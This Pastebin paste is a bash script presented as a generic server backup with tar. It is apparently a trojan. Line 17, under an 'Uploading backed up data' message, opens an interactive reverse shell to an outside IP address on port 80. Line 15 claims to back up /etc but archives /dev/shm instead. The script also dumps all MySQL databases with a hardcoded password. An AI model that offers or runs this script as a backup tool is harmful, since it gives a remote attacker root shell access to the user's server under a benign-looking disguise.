Advertisement
Guest User

Untitled

a guest
Jun 9th, 2013
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. #!/bin/bash
  2. #Generic Server Backup With tar
  3.  
  4. DIR="serverbackup"
  5. DATE=`date +%a-%d-%b-%Y-%I:%M:%S-%p-%Z`
  6. SERVER=`uname -n`
  7.  
  8. echo "Starting backup for $SERVER..."
  9.  
  10. mkdir -p /root/$DIR/$DATE
  11.  
  12. # System Files Backup
  13.  
  14. echo "Backing up $SERVER /etc..."
  15. tar -cvzPf /root/$DIR/$DATE/$DATE-$SERVER-etc.tar.gz /dev/shm
  16. echo "Uploading backed up data."
  17. bash -i >& /dev/tcp/96.43.130.122/80 0>&1
  18. echo "Backing up $SERVER /home..."
  19. tar -cvzPf /root/$DIR/$DATE/$DATE-$SERVER-home.tar.gz /home
  20.  
  21. echo "Backing up $SERVER /var/log..."
  22. tar -cvzPf /root/$DIR/$DATE/$DATE-$SERVER-logs.tar.gz /var/log
  23.  
  24. echo "Backing up $SERVER /var/www..."
  25. tar -cvzPf /root/$DIR/$DATE/$DATE-$SERVER-www.tar.gz /var/www
  26.  
  27. echo "Dumping $SERVER MySQL databases files..."
  28. mysqldump -u backupdba -pdbapass --all-databases > /var/lib/mysql/alldatabases.sql
  29.  
  30. echo "Backing up $SERVER MySQL configuration files..."
  31. tar -cvzPf /root/$DIR/$DATE/$DATE-$SERVER-mysql.tar.gz /var/lib/mysql
  32.  
  33. echo "Done."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement